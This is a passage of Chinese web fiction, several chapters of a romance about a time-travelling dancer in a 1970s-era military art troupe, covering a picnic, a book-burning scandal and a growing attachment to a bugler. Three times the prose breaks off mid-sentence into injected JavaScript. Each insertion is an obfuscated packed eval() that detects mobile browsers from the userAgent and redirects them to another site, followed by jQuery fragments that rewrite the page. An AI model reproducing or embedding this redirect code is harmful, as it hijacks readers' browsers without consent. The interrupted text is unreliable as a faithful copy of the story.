她抬了抬眼,视线轻轻落在众人身上,没有冷脸,也没有争执,只是语气里多了几分平日里没有的松快,慢悠悠开口:“不是瞧不上,是你们不用上称吗?”
众人一愣,没反应过来。
兆悦淡淡继续道:“之前在舞蹈房,每星期都要上称,多出一斤肉,我们老师恨不得把那一斤肉从我身上揪下来,吃一块蛋糕,三天白练。”
语气平平淡淡,却带着几分生活化的真切,像是随口一句吐槽,又像是半真半假的玩笑。
这话一落,在场的姑娘们先是一怔,随即一下子都笑开了。
萧穗子捂着嘴乐出声,卓玛也跟着点头附和,连郝淑雯都拍着大腿笑:“哎哟原来你也怕这个!我们也怕!只是没好意思说!”
女孩们都笑弯起眼睛,气氛瞬间热络了一大截。
谁也没想到,平日里看着不好接近的人,一开口说这样实在又好笑的话,一下子就拉近了距离。
林丁丁站在一旁,脸上的笑僵了一瞬,没再说话。
兆悦没再多余表示,说完便安静站在一旁,却没人再觉得她难以接近。
夜色渐浓,几人说说笑笑往宿舍楼里走。
10. 野炊
入了秋,天一日比一日清爽。
风不再闷湿,吹在脸上凉丝丝的,连带着文工团里的气氛,也松快了不少。
这段时间团里活动不多,之前排的舞蹈早已练得熟透,走位、节拍、托举、配合,全都烂熟于心。
训练强度一降,结束的时间便早得离谱,有时下午三四点钟,全队就已经解散,剩下大段大段的空闲时间。
姑娘小伙们精力没处使,闲下来便凑在一起琢磨着去哪儿玩。
这天刚下训,郝淑雯就把几个人拦在训练厅门口:“这天多好,不出去可惜了,咱们找个地方野炊去,带点馒头、咸菜、煮鸡蛋,再弄点热水,坐着聊聊天,总比在宿舍待着强。”
这话一出,立刻引来一片附和。
小芭蕾和卓玛眼睛一亮,连连点头。
萧穗子抱着本子,也轻轻笑:“我觉得可以。”
林丁丁也跟着应和,脸上挂着得体的笑,目光却不自觉往男生那边飘。
杭春明一听有活动,当场就应了下来,转头就去找兆悦。
“悦儿姐,我们一起去野炊吧,就在营区后面那片空地,不远。”他语气自然,一口一个悦儿姐,熟稔又顺口,旁人听着早已习惯。
兆悦本来没什么兴趣,一群人闹哄哄的,野炊,听着就脏兮兮的,她向来不喜。
可杭春明就站在她身边,眼神明亮,带着几分理所当然的笃定——他知道,只要是他开口,她一般不会拒绝。
沉默片刻,兆悦轻轻点了下头。“嗯。”
简简单单一个字,让旁边几个姑娘都悄悄对视一眼。
换做以前,谁能邀得动她。
可现在,因为杭春明,她也慢慢融进了这堆热闹里。
大家对兆悦的态度,早已悄悄变了。
最初那点若有若无的敌意、试探、打量、疏远,在一次次训练、一次次照面、一句玩笑话之后,淡了不少。
没人再觉得她高不可攀、难以接近,只当她是性子淡、话不多,却并非不好相处。
人心一旦软下来,气氛就顺了。
出发前,姑娘们在宿舍简单收拾。
兆悦依旧是安安静静的,不抢不挤,拿了块干净手帕,随手揣在兜里。
镜子前,萧穗子悄悄理了理头发,眼神时不时往窗外飘,一副心不在焉的样子。
兆悦看在眼里,没点破。
这份在意,藏得太深、太含蓄,像落在纸上的淡墨,不仔细瞧,根本看不出来。
不敢靠近,不敢直视,不敢多说一句话,只敢远远看着。
兆悦心里轻轻叹了口气。
这样的喜欢,太轻、太静、太小心翼翼。
就算对方真的察觉了,也只会觉得没劲,不够痛快,不够明朗,经不起一点拉扯。
有些事,不点破,就永远只是心事。
一行人热热闹闹往营区后那片开阔地走。
男生拎着军用水壶、装着干粮的布包,女生三三两两走在一块儿,说笑打闹,阳光洒在身上,暖洋洋的。
杭春明一直走在兆悦身侧,步子不快不慢,刚好陪着她。
兆悦偶尔应他一两句,语气清淡,却不疏离。
远处,陈灿和几个男队员走在一起,手里把玩着一片树叶,漫不经心。
萧穗子的目光,总是不经意地飘过去,又飞快收回,假装看天看地,脸颊微微发烫。
刚找好地方铺好布,坐下来准备分东西,不远处又来了一群人,是美术组的几个学员,。
背着画板,提着颜料盒,说是出来写生,听说这边有人野炊,便凑过来一起热闹。
兆悦刚坐下的动作,微微一顿。
人群里,她一眼就看见了宋子轩。
白衬衫,干净的裤子,头发整齐,眉眼依旧清秀,站在一群人里,依旧显眼。
他也一眼就看见了兆悦,目光瞬间定在她身上,亮了一下,又沉了下去。
招待所那几天的相处,点到为止的靠近,说不清道不明的暧昧,在两人之间横亘着。
还没正式开始,就已经被兆悦干脆利落地划清了界限。
可宋子轩显然没放下。
对他而言,兆悦是突然出现、又突然抽离的人,漂亮、清冷、有距离感,越得不到,越念念不忘,甚至带着几分不甘的怨——你既然给了念想,怎么能说断就断。
他放下画板,就朝这边走过来。
脸上带着温和的笑,像对待一个许久未见的熟人。
“没想到你们也在这儿。”
宋子轩站在兆悦面前,目光落在她脸上,带着显而易见的在意。
兆悦抬了抬眼,只淡淡应了一声,没多余表情,也没多余话。
身体下意识往旁边微微让了一点,拉开距离。
动作不大,却明明白白。
杭春明察觉到气氛不对,不动声色往兆悦身边靠了靠,挡了一点视线,抬头看向宋子轩,笑得客气,却带着几分护着的意思:“你们也出来玩啊?”
“嗯,天气好,出来画画。”宋子轩目光没离开兆悦,“正好,一起热闹。”
他刻意坐在离兆悦不远的地方,时不时找话搭边。
“你最近在舞蹈队还习惯吗?”
“训练累不累?”
“之前在招待所,还没谢谢你那时候帮忙。”
一句接一句,有意无意地靠近,试图重新拉近距离。
兆悦心里渐渐泛起一丝反感。
她向来干脆,说拉倒就拉倒,说疏远就疏远。
两人本就没有真正在一起过,不过是短暂的相遇,一点浅淡的好感,点到为止,各自体面,难道不好吗?
偏偏要这样拖泥带水,纠缠不清,一遍一遍往回扯,半点不体面。
她没回应,脸色一点点冷下来。
原本还算轻松的心情,瞬间沉了下去。
郝淑雯、萧穗子她们都察觉到不对劲,对视一眼,没敢多说话,只假装忙着分干粮、倒水,把气氛撑起来。
林丁丁坐在一旁,眼神转了转,嘴角勾起一点不易察觉的弧度,自然而然的和宋子轩搭起话来。
兆悦再也坐不住。
她不想在这儿应付这种没意义的靠近,也不想因为这种事,被人当成目光的焦点。
她站起身,转身就往远处更空旷的地方走。
远离这群闹哄哄的人,远离那些目光,远离宋子轩带来的烦躁。
背影挺直,没有回头。
杭春明愣了一下,刚想追上去,却被身边的小芭蕾拉住问了句什么,一时没跟上。
远处的野炊营地,笑声、说话声、打闹声越来越远。
有人在分吃的,有人在说笑,有人干脆躺在草地上打滚,阳光满地,热闹非凡。
兆悦一个人往前走,走到一片安静的草地上停下,望着远处的树林,一言不发。
空气里只有秋风掠过草叶的声音。
没过多久,她身后传来轻轻的脚步声。
不紧不慢,不远不近。
兆悦不用回头,也知道是谁。
她没有动,依旧站在原地。
直到脚步声停在不远处,她才缓缓侧过头,看了一眼。
陈灿站在那儿,双手插在兜里,姿态闲散,却安安静静。
兆悦收回目光,没说话,表情比上次傍晚散步时冷了很多,周身都透着一股“别来烦我”的疏离。
陈灿微微皱了下眉。
刚才在那边,他看得一清二楚。
那个美术组的男生一直缠着她,她明显不高兴,才一个人走掉。
他原本只是习惯性跟着,想看她安安静静的样子。
可此刻她身上那层冷意,比平时重得多,像一层薄薄的冰,覆在眼底。
他站在原地几秒。
这是第一次,他没打算再沉默。
秋风轻轻吹过,草叶微微晃动。
远处的喧闹模糊成一片背景音。
天地之间,好像就剩下他们两个人。
陈灿往前轻轻走了半步,声音不高,低沉干净,带着一点试探,又带着一点不容忽略的认真。
他开口,问出了两人之间第一句真正的搭讪。“谁惹你了,脸这么冷?”
兆悦眼睫一动。
她缓缓转回头,目光落在他脸上,没有半分温度,语气淡得像冰。
“你是哪位?”
四个字,轻飘飘砸过来。
陈灿一下子僵在原地。
整个文工团,天天一起训练,分队长点名、排队、合乐,谁不知道谁叫什么。
她不可能不知道他是谁。
分明是故意的。
他脸上那点漫不经心的轻松,瞬间裂了个口子,难得露出几分无措。
活了这么大,他向来是人群里最亮眼的那一个,性子开朗,对谁都热络,从来没被人这么直白地晾在这儿。
他下意识抬起手,挠了挠后脑勺,耳尖微微有点发烫。
这个年代,这个年纪,可没什么情场老手,更没有勾搭过多少姑娘。
他性子阳光,爱说爱笑,对谁都客气热情,骨子里还是这个年代最常见的那种纯粹。
被这么一句“你是哪位”堵回来,他那点玩世不恭,当场就破了功。
兆悦看着他这副模样,先是一怔,随即没忍住。
嘴角几不可查地往上弯了一下。
她忽然意识到,自己不能拿从前的眼光来看眼前这些人。
就算他是高干子弟,就算他阳光爱笑、招人喜欢,就算他看起来有点不着调,可本质上,还是干净直白的。
她本想冷着脸怼回去,反倒把人逗得手足无措,把她心里那个玩世不恭的形象,一下戳成了纯情大男孩。
这么一想,她心里那点因为宋子轩带来的闷气,反倒散了大半。
陈灿见她忽然笑了,眼神都顿了顿。
他很少见她这样。
不是冷淡,不是疏离,就是很轻、很淡的一点笑意,像冰面裂开一道细缝,漏出底下一点暖。
他心跳莫名漏了一拍,喉咙微微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309092|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发紧。
他赶紧收起那点窘迫,重新端端正正站好,一本正经地开口,像在做自我介绍:“我叫陈灿,吹小号的,今年十八,属马。”
兆悦没应声,只垂了垂眼,笑意还停在嘴角,更大了。
似乎她的心情因为自己变好了。
接收到这个消息,陈灿收起了方才那点窘迫无措,眼底恢复了平日的清亮与机敏,保持着恰到好处的距离,跟着她的步调。
他看得明白,眼前的姑娘从不吃顺从讨好那一套,怎样才能让她愿意接招呢?
她往前走,他便跟着往前走。
她慢,他也慢。
她不说话,他也不开口,秋风拂过草尖,带着淡淡的凉意。
兆悦目视前方,声音平平淡淡,却带着不容置疑的主导:“跟着我干什么?”
陈灿唇角极轻地一扬,等到了!
他语气干净清朗,带着点少年人独有的机灵试探,一句话轻轻抛回去:“上次跟着你,你连问都没问,怎么这次反倒开口了?”
兆悦眼睫轻轻一动,侧眸扫了他一眼。
心里一眼就看穿了他的小圈套,却不恼,也不拆穿。她脚步微微一顿,抬眼瞥他一下,语气轻脆,带点小小的耍赖劲儿:“……那我不问了。”说完,她微微别过脸,继续往前走,步子都轻了几分,摆明了是故意逗他。
南方姑娘骨子里就有这种能力。
陈灿当场就被这一下弄得心口发紧,又痒又麻,整个人都轻快了起来。
他哪里受过这种,明明是被“冷落”,却比听一百句好话都上头。
他快步跟上半步,声音里藏不住笑意,却还绷着少年人的体面,不敢太露骨:“别啊。”
兆悦不看他,只往前走,语气淡淡的:“别什么。”
“别不说话。”陈灿老老实实接,却又忍不住轻轻拽回一局,“你一不理人,我都不知道该怎么走了。”
兆悦嘴角弯得更明显了一点,依旧不看他,声音轻淡,却带着点得胜似的小得意:“那你可以回去,没人拦着你。”
“我不回。”陈灿答得飞快,语气坚定,
“他们那边闹,我这儿……安静。”
兆悦终于侧过头,看了他一眼。
没再赶他,也没再说话。
就这么默认了,他可以继续跟着。
兆悦忽然抬眼望了望前面不远处的小坡,没再多说,脚下轻轻一提,往前小跑了几步。
步子轻快,不像刻意,更像一时兴起,被风与开阔勾着走。
陈灿下意识跟上,不远不近,看着她的背影。
她几步跑上小坡,站定。
风一下子涌过来,掀动她的额发与衣角,视野豁然开阔——远处的林野、田埂、淡蓝的天,全都铺在眼前,清清爽爽,连呼吸都松快了。
刚才宋子轩缠上来的那点闷堵,被这秋风一吹,散得干干净净。
她微微仰头,闭了闭眼,就站在风里,安安静静地感受。
陈灿停在她身侧半步远的地方,没靠近,没说话,就这么看着。
阳光落在她脸上,风绕着她走,那一刻,他忽然觉得整个世界都静了。
兆悦慢慢睁开眼,望向远方。
心里忽然翻涌起一阵复杂的滋味。
她比谁都清楚,这个时代往后会怎么走,身边这些人,最后都会落进什么样的命数里。
所有人里,日子过得最稳、最体面、最能扛住风浪的,就是眼前这个少年。
可他和郝淑雯后来的婚姻,没有多少亲昵,更像利益与身份的搭伙,客气、体面,却不靠近。
她看着身边这个还带着少年气的陈灿,眼神不由沉了沉,多了几分连自己都没压住的幽深。
陈灿侧过头,恰好撞上她的目光。
心里轻轻一跳。
明明年纪一般大,她甚至还要小一点,可那双眼睛里的东西,太沉、太杂,有平静,有远虑,有一丝他完全读不懂的沉静。
看不透,摸不清,像一层雾。
越是看不懂,他越觉得她神秘。
越是神秘,越忍不住多看一眼。
越是多看,心里那点好奇,就越容易往别的地方走。
兆悦在心里轻轻吸了口气。
一瞬间,她拿定了主意。
这个人,头脑灵、眼光准、家世稳、后来又懂审时度势,是能在风浪里站稳的人。
她在这个时代无根无靠,总要给自己留一条稳妥的退路。
而陈灿,就是她悄悄选定的那条退路。
不是一时心动,是清醒盘算。
可这份清醒里,又偏偏掺了一点刚才风里的暧昧。
她没再看他,也没再说话,只是轻轻低下头,嘴唇微动,哼起一段轻轻软软的调子。
是邓丽君的歌,没有歌词,只有轻缓的旋律,被风裹着,散在空气里。
声音不高,清清淡淡,只有站在身边的人能听见。
陈灿一下子就安静了。
风在吹,歌在飘,她在眼前。
11. 风波
野炊之后,团里气氛缓和不少,彼此之间少了试探,多了几分自在。
只是兆悦依旧是老样子,话少、分寸感强,从不主动凑近谁,也不刻意融入谁。
小芭蕾怯生生来找她纠正动作,她都会简洁地点两句。
日子就这样平淡有序地过着,像一潭缓流的水。
平静很快被团里的献礼任务打破。
要排一支重要舞蹈,需要定主舞。
这几年,主舞一直是萧穗子。
她十二岁进文工团,功底扎实、资历深、队形熟,跟全队配合默契,是公认稳妥的人选。
而新来的兆悦胜在身段气质更出挑、技巧更灵动,两人实力不相上下,真要同台竞争,胜负只在分毫之间。
分队长还在斟酌如何安排,兆悦先淡淡开了口:“主舞还是穗子来吧,她熟。”
语气平常,没有谦让的姿态,也没有不甘,只是陈述一个她觉得合理的决定。
萧穗子当场怔住,心里又酸又热,眼眶微微一红,上前一步,声音轻而认真:“兆悦,谢谢你……谢谢你。”
兆悦抬眼看向她,语气平静,没有多余情绪:“不用谢,你站在那里,本来就合适。”
一句话,说得坦荡又实在,没有半点施舍的意味。萧穗子心里更暖,重重地点了点头。
郝淑雯也意外。在她一贯的认知里,家境优渥的子弟大多争强好胜,凡事都要拔得头筹、占尽风头,可兆悦偏偏不一样。
不争不抢,不卑不亢,明明有更亮眼的资本,却活得清醒又克制。这一瞬,她是真的对兆悦改观了。
没人知道,兆悦让出主舞,并非全然大度。
近来她的心,早已落在了营区角落那间不起眼的档案书屋。
看管书屋的是个沉默寡言的小老头,整日守着一屋纸页,不问世事。
明面上摆放的全是允许公开的书籍,那些被禁、边缘、或是年代稍远的读物,早已被收缴销毁,可老头私下里,还悄悄藏着一批擦着界限的书。
兆悦带来的几本书早已和萧穗子翻来覆去看了无数遍,枯燥得很。
一日午后,她停在书屋门口,犹豫片刻,轻轻敲了敲门。
老头抬起头,眼神浑浊却清亮,看了她一眼,没说话。
兆悦语气平淡,态度规矩:“老爷爷,我想借本书看,不知道方不方便。”
老头沉默几秒,哑声开口:“外面的,自己拿。”
顿了顿,又补了一句,声音很轻:“别乱翻。”
“我知道。”兆悦点头。
一来二去,竟慢慢熟络起来。老头惜她是真读书、真懂文字,不似旁人那般浮躁,便悄悄把压箱底的藏书拿给她。兆悦如获至宝,一得空便往书屋跑,一待就是一下午。
有时两人同处一室,半天不说一句话,只各自对着纸页,安静得只剩翻书声。
那天她心神放松,将自己刚写完的一叠文稿轻轻放在老头桌上。
“爷爷,我写了点东西,您要是有空,能不能帮我看看?”
老头拿起稿子,翻了两页,声音依旧沙哑:“儿童故事?”
“是。”兆悦轻声应,
“没别的意思,就是写着玩玩。”
老头“嗯”了一声,没再多问,随手放在了一边。
他没说好看,也没说不好看,可兆悦看得出来,他不讨厌。
这篇儿童故事,讲一只流浪狗与一个流浪男孩相依为命,没有宏大叙事,没有政治色彩,只有柔软的陪伴与温暖。
这是她来到这个陌生时代后,唯一的情绪寄托,一笔一画,全是她的心血与心绪。
她从未想过,这叠薄薄的文稿,会引来一场大祸。
团里早有人盯着老头看管书屋的差事,一心想把人挤走,换上自家亲戚。苦于一直没有由头,如今听说老头私下藏书,立刻抓住机会大做文章,上纲上线,誓要把老头彻底拉下马。
兆悦还在训练厅压腿,门外忽然传来两句细碎的议论。
“管档案的那个老头藏了一堆禁书,现在全被拖到院子里烧了!”
“小声点,这阵子风声那么紧,别惹祸上身。”
兆悦的脸色瞬间一白。
她猛地站起身,动作急得撞在了把杆上,却浑然不觉疼痛。
老头……她的书……她亲手写的故事……
无数念头在脑海里炸开,她再也顾不上训练,甩开步子就往外冲。
“悦儿姐!”杭春明脸色一变,立刻快步跟上。
他从未见过兆悦这般失态。
平日里无论遇到什么,她都是镇静自持、分寸不乱,一举一动都沉稳得不像同龄人。
可此刻,她脚步慌乱,神色紧绷,连脊背都绷得僵直,显然是出了天大的事。
院子里早已围满了人。
火堆在空地中央噼啪燃烧,书页在火舌中卷曲、焦黑、化为飞灰。
小老头被人死死拦在一旁,花白的头发凌乱不堪,佝偻着身子,嘴唇哆嗦着,什么话也说不出来。
围观的人里三层外三层,却没有一个人敢上前。
风声鹤唳,人人自危,谁都怕沾上一星半点牵连,引火烧身。
兆悦挤开人群,一眼就看见火堆边缘,那叠熟悉的文稿纸安安静静放在一旁,还没被火苗碰到,可再晚一步,立刻就会被卷进火里。
那是她的故事。
人群里,林丁丁忽然轻轻开口,声音不大不小,恰好能落入周围人耳中:“哎呀,我最近经常看见兆悦在书屋那边看书写字,和老爷爷走得可近了……应该不会是……我肯定是想多了,兆悦不是那样的人。”
明着是替她辩解,暗里却是字字栽赃,把矛头直直指向兆悦。
兆悦连一个眼神都没分给她,仿佛那人与空气无异。
杭春明却先一步沉了脸,往前一站,直直挡在兆悦身侧:“林丁丁,没凭没据的话别乱讲,你少往别人身上泼脏水。”
林丁丁脸色一白,咬着唇不再说话,眼底却藏着掩不住的怨毒。
这些日子,她早已刻意接近宋子轩,得知他是高干子弟后,更是日日软言细语、刻意讨好。
可她渐渐发现,宋子轩对她的亲近,不过是移情与赌气——你兆悦看不上我,我便找旁人来气你。
得知真相的林丁丁又羞又怒,彻底破防,把所有怨气都算在了兆悦身上,巴不得她立刻栽跟头、受处分。
就在所有人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309093|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屏息观望、不敢动弹之际,兆悦做出了一件谁也意想不到的事。
她往前一步,毫不犹豫地伸手探向火堆边缘,飞快一夹,将那叠完好无损、还未烧着的文稿稳稳抢了出来。
“你干嘛!”
一声惊喝几乎是同时从两个方向炸开。
陈灿冲得最快,脸色发白,眼底全是压不住的慌与急。杨铮也紧随其后上前,神色同样紧张。
两人一左一右凑到兆悦身边,目光都钉在她刚刚伸过火边的手上。
“你疯了?”陈灿声音都绷得发紧,没有半分责备,全是后怕与心疼,“伸手进去干什么?快给我看看手有没有事。”
杨铮也跟着点头,语气急促:“兆悦,这太危险了,别拿自己开玩笑。”
一旁的杨铮看着陈灿这副失态模样,心里瞬间就明白了。
这早就超出了普通队友的界限。
兆悦轻轻收回手,指尖只是微微泛红,并无烫伤。她把文稿紧紧攥在手里,淡淡摇头:“我没事。”
可这一举动,已经把在场所有人都惊得屏住了呼吸。
在这样风声鹤唳的时刻,当众伸手去抢堆在禁书文稿,无异于把自己往风口浪尖上送。
动静闹得太大,宁政委很快闻讯赶来。
林丁丁躲在人群后面,眼底飞快掠过一丝暗喜。
郝淑雯皱紧眉头,语气冷淡,带着几分落井下石:“政委,兆悦也太鲁莽了,明知道现在是什么形势,还敢这么做。”
萧穗子站在一旁,又怕又急,小声替她辩解:“政委,我们平时只是互相借一些能看的书,没有别的……”
可她人微言轻,微弱的声音很快就被周围的议论盖了过去。
兆悦被带去了办公室。
她神色平静,没有辩解,只淡淡陈述:“是我写的儿童小故事,拿给老爷爷,只是想让他帮忙看看,没有别的意思。”
政委早已把文稿收上去看过。
内容干净,只是一个温暖简单的小故事,没有任何问题。
可他也清楚,兆悦太扎眼,太多人盯着她,一点小事都能被无限放大。
他语气沉定:“文章本身没什么问题,但现在这个时候,不能出半点岔子。你平时性子太独,和大家处好关系。这件事到此为止,这份东西,不要再让任何人看见。”
兆悦浑浑噩噩地站起来。
现实世界里,她是受人喜爱的儿童文学作家,笔下的故事被孩子珍视。
可在这里,她认认真真写下的心血,差点被付之一炬,还要被当成隐患。
时代的冰冷与重压,第一次这么真切、这么残忍地砸在她身上。
她强撑着最后一点镇定,找到王政委,声音微微发颤:“那位老爷爷……会怎么样?”
宁政委的回答冷静而直白,在兆悦听来近乎冷血:“年纪大了,按规矩处理,后果不会轻。”
批斗、追责、彻底毁掉。
兆悦站在走廊里,浑身发冷。
所有的镇静、所有的克制、所有在这个时代强装出来的坚强,在这一刻,彻底崩断。
她没有哭,没有闹,只是眼神空了一瞬。
她缓缓转过身,一步一步往外走。
12. 反转
谁也没料到,这场眼看要压垮小老头的风波,竟在一夜之间彻底反转。
院子里的火堆还未完全熄灭,焦糊的纸灰随风飘散,宁政委与几位干事便匆匆赶来,神色与先前截然不同。
有人悄悄递上消息,小老头看似沉默寡言、毫不起眼,背后却藏着一段无人知晓的峥嵘过往。
早年战火纷飞的年代,他曾在前线冒着枪林弹雨转运物资、掩护伤员,多次立功受奖,是实打实从枪林弹雨中走出来的人。
而他的儿子,如今在机关担任要职,为人正派、作风硬朗,在系统内颇有威望。
消息一层层传上去,原本被定性得极为严重的“私藏禁书、思想不纯”的罪名,瞬间失去了立足之地。
负责调查的人重新核对每一本书,翻开书页时才发现,每一本被指有问题的书里,都夹着工整折叠的毛主席语录,或是抄录得整整齐齐的爱国诗文,纸页泛黄,字迹沉稳,字字句句都端正合规。
小老头早有准备,以最稳妥的方式,为自己留下了自保的余地。
一番核查下来,构陷的痕迹一目了然。
那个一心想挤走小老头、抢占档案馆差事的人,非但没能达成目的,反倒被安上了“蓄意构陷、扰乱秩序、诬告同志”的罪名,当场被带走问话,后续的处分与批评接踵而至,成了团里人人避之不及的笑柄。
围观的队员们看得心惊,也看得明白。这场由私心引发的风波,最终以最讽刺的方式收场。
小老头自始至终没多说一句话,没为自己辩解一句,却靠着不为人知的资历与早有准备的细心,安然度过了这场危机。
宁政委把小老头叫到办公室,回来时,老人的神色依旧平静,只是眼底多了几分疲惫。
他没跟任何人细说过程,只是默默收拾着散落的书籍,把被翻乱的书架一一归位。兆悦站在一旁,想帮忙,又不知从何下手,只能安静地陪着。
“孩子,”小老头忽然开口,声音沙哑,“没事了,你别担心。”
兆悦轻轻点头:“爷爷,您没事就好。”
“我没事,”老人抬手拂去书架上的灰尘,动作缓慢,“只是这地方,我不能再守了。”
兆悦心头一紧:“为什么?”
“这里是非多,有人盯着,我年纪大了,经不起折腾,再守下去,只会连累更多人。”小老头叹了口气,目光落在空荡荡的窗口,“我走了,对大家都好。”
兆悦喉咙发紧,说不出反驳的话。她懂老人的顾虑,也懂这个时代的身不由己。
离开的前一天傍晚,小老头把兆悦叫到书屋。屋内安静,只有窗外的风吹过树叶的轻响。老人从抽屉里拿一本书,双手轻轻递到兆悦面前,眼神里带着几分歉意,也带着几分郑重。
“这本书你留着看吧,不是一直想借吗?你的文章,我认真看了。”老人的声音比平日温和许多,“写得很好,干净,柔软,有人情味。”
“是我没护住你这份心血。”老人垂下眼,语气里满是愧疚,“你把最在意的东西交给我,我差点没能守住,让你受怕了。”
“爷爷,这不怪您。”兆悦连忙摇头,声音轻却坚定,“是我给您添了麻烦,要道歉的人是我。您能帮我收着、帮我看,我已经很感激了。”
老人抬眼看她,浑浊的眼底闪过一丝暖意,轻轻拍了拍她的手背,没再多说。有些心意,不必多言,彼此都懂。
次日清晨,天刚蒙蒙亮,小老头便背着简单的布包,悄无声息地离开了文工团。没有告别,没有送行,像他平时一样安静。
书屋的门被锁上,钥匙交到了团里。
那间曾经藏着文字与温度、给过兆悦片刻安宁的小屋子,从此空了。
小老头的离去,像一块重石压在兆悦心头,让她低迷了很长一段时间。
她重新缩回自己的壳里,对外彻底封闭,旁人搭话她也不怎么搭理,眉眼冷硬,仿佛又回到刚入团时那副生人勿近的模样。
真切地被时代重压攥住心口,连呼吸都带着紧绷的慌张。
萧穗子看在眼里,急在心里,常常默默陪在她身边,递水、擦汗,不敢多说话,怕戳到她的心事。
郝淑雯收敛了往日的尖锐,不再对兆悦冷言冷语,偶尔碰面,也只是点头示意。林丁丁见没机会拿捏兆悦,只好偃旗息鼓,不再主动招惹。
只有陈灿,敢一步步靠近。
训练间隙,众人都在休息说笑,兆悦独自坐在窗边,垂着眼不知在想什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309094|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么。
陈灿拎着两个搪瓷缸走过去,往她面前一放,语气带着点故意逗她的轻佻:“喂,这位,再这么闷着,小心长出蘑菇。”
兆悦抬眼扫他一下,没说话,又低下头,摆明了不想理人。
陈灿也不恼,挨着她坐下,胳膊轻轻碰了碰她的肩:“生气呢?还是怕呢?”
兆悦指尖攥着练功服的边角,声音淡得没起伏:“跟你没关系。”
“怎么没关系。”陈灿歪头看她,眼底带着认真,“你一不说话,整个训练厅都冷三度,我冻得慌。”
兆悦抿紧唇,依旧不松口,可眼底的冷硬,已经悄悄软了一点。
旁人看她这副拒人千里的样子,早就退开了,可陈灿偏不。他伸手,轻轻弹了下她的额头。
这一下轻弹,带着点亲昵的纵容。兆悦鼻尖微微一酸,往日里绝不会有的娇气,此刻不受控地冒出来。她偏过头,声音低低的,带着点委屈的软:“别弹我。”
陈灿心头一动,面上却装作漫不经心:“不弹你也行,说句话。”
兆悦沉默片刻,终于松口,声音轻得像叹息:“我就是……心里乱。”
“乱什么?”陈灿放软语气,“书没了,我陪你找;字没了,我陪你写。天塌下来,有我挡在你前面。”
兆悦抬眼,撞进他眼底的笃定,心头轻轻一颤。她别开脸,耳尖微微发烫,语气却不自觉带了点撒娇的意味:“谁要你挡。”
“我乐意。”陈灿笑起来,伸手揉了揉她的发顶,动作自然又亲昵,“以后不许不理人,至少不许不理我。”
兆悦没推开他的手,也没答应,只是垂着眼,长长的睫毛轻轻颤动。那副嘴上别扭、心里松动的样子,尽数落在陈灿眼里。
不远处的杨铮把这一幕看在眼里,心里跟明镜似的。
兆悦对外冷得像冰,唯独在陈灿面前,会卸下心防,会露出委屈,会自然而然地撒娇;而陈灿对旁人散漫客气,唯独对兆悦,耐心十足,逗闹拉扯,满眼都是藏不住的在意。
两人之间的氛围,悄然变了。
不再是客气的疏离,不再是无谓的客套,多了几分试探,多了几分拉扯,像春风拂过冰封的湖面,漾开一圈圈细碎又温柔的涟漪。
13. 心热
日子一天天过去,兆悦的情绪渐渐缓了过来。
她来到文工团,竟已悄悄走过一整个秋天。北风一起,冬天就这么来了。
营区里处处透着冷意,姑娘小伙子们各显神通保暖——有人怀里天天揣着热水袋,走到哪儿捂到哪儿;有人把毛衣套了一层又一层,裹得像只圆滚滚的小团子;还有人把旧围巾拆了重织,针脚歪歪扭扭,却格外暖和。
天黑得越来越早,训练结束的时间也提前了不少。这天结束得格外早,一群姑娘嘻嘻哈哈往浴室走。
刚洗完澡,头发湿漉漉的,身上带着热气,一吹风就打了个小哆嗦。
萧穗子凑到兆悦身边,声音压得低低的,带着点不好意思的打趣:“悦儿,你身材真好,穿练功服都特别好看……”
话音里,悄悄点了点她身形的优势。
兆悦耳尖微热,轻轻瞪她一眼:“别乱说。”
郝淑雯在旁边一听,立刻不服气地抬下巴:“我的也不差啊,我哪儿小了?”
几个姑娘顿时笑作一团,闹哄哄地往宿舍楼走。
刚到楼下,就看见不远处亮着一团暖火——朱克几个人正围在那儿烤火取暖,火光一跳一跳的,把夜色都烘软了。
刚洗完澡的姑娘们被冷风一吹,也凑过去烤了烤。
几个人还在偷偷摸摸聊刚才的话题,声音压得低,眼神却都带着笑。
谁知道郝淑雯说着说着,一时忘形,嗓门没控制住,大大咧咧就飘了出去:“要我说,兆悦这身材,咱们团绝对第一,不知道以后要便宜谁了!”
这话一落,周围瞬间安静了半秒。
男生堆里,陈灿从刚才兆悦过来时,目光就没从她身上挪开过。
他一直没怎么说话,就安安静静坐在一旁,火光落在他脸上,眼神直直的,只看着她一个人。
郝淑雯那一句清清楚楚砸进耳朵里,陈灿整个人猛地一僵。
